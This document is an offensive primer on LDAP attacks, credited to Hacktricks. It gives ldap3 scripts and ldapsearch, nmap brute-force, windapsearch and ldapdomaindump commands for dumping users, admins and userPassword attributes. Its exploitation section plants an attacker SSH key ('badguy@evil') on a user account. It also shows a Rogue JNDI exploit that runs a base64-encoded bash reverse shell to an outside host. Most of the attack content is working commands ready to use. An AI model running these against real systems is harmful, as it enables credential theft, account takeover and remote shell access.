LDAP Exploitation

A primer into LDAP enumeration and exploitation

Enumeration

Manual simple enumeration with ldap3

Manual LDAP Enumeration Attackers can perform manual LDAP enumeration using Python. Follow the steps given below to perform manual LDAP enumeration using Python.

  1. Using Nmap, check whether the target LDAP server is listening on the port 389 for LDAP and port 636 for secure LDAP.

  2. If the target server is listening on the specified ports, initiate the enumeration process by installing LDAP using the following command: pip3 install ldap3

  3. As shown in the code given below, create a server object (server), and specify the target IP address or hostname and port number. If the target server is listening on secure LDAP, specify use_ssl = True.

  4. Retrieve the Directory System Agent (DSA)–specific entry (DSE) naming contexts by specifying get_info = ldap3.ALL.

  5. Now, create a connection object, connection, and initiate a call to bind().

  6. If the connection is successful, True is displayed on the screen as follows:

>>> import ldap3

>>> server = ldap3.Server('Target IP Address', get_info = ldap3.ALL, port =389) 
>>> connection = ldap3.Connection(server) 
>>> connection.bind() 

True
  1. Now, one can fetch information such as the domain name and naming context using the following script:

>>> server.info
  1. After obtaining the naming context, retrieve all the directory objects using the script given below:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') 

True


>> connection.entries 

Now, use the following script to dump the entire LDAP:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')



True 

>>> connection.entries

This connection object can also be used to write data.

Using nmap

Attackers use the ldap-brute NSE script to brute-force LDAP authentication. By default, it uses the built-in username and password lists.

The userdb and passdb script arguments can be employed to use custom lists.

sudo nmap
 -p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=<DC_NAME>,dc=com"' <Target IP Address>
sudo nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Using ldapsearch

The ldapsearch is a shell-accessible interface for the ldap_search_ext(3) library call.

The ldapsearch opens a connection to an LDAP server, binds it, and performs a search using the specified parameters.

The -x option specifies simple authentication. The -b option specifies the domain string.

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpasswd' -b "CN=Users,DC=mydom,DC=local"

Extract computers:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract my info:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Administrators:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Remote Desktop Group:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

To see if you have access to any password you can use grep after executing one of the queries:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

You can extract everything from a domain using:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Using windapsearch

Windapsearch is a Python script useful to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers

# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups

# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da

# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da

# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

Dump information with ldapdomaindump using valid credentials

ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Exploitation

Write Data with ldap3 and python

Changing the "sshPublicKey" information of a user

>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True

>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'

>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Anonymous Login by bypassing TLS SNI check

According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user.

Using ldapsearch

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

Using Rogue JNDI

Java Naming and Directory Interface is a Common interface to interact with Naming and Directory Services.

To know more read this.

Bash reverse shell using rogue jndi

Base 64 encoded reverse shell payload:

echo "bash -c bash -i >& /dev/tcp/<IP ADDRESS>/<PORT> 0>&1" | base64

Start a netcat listener on the PORT.

Use base 64 encoded payload for Rogue JNDI

java -jar RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNy80NDQ0IDA+JjEiCg==}|{base64,-d}|{bash,-i}" --hostname "10.129.56.33"

Credits: Hacktricks (https://book.hacktricks.xyz/)

Last updated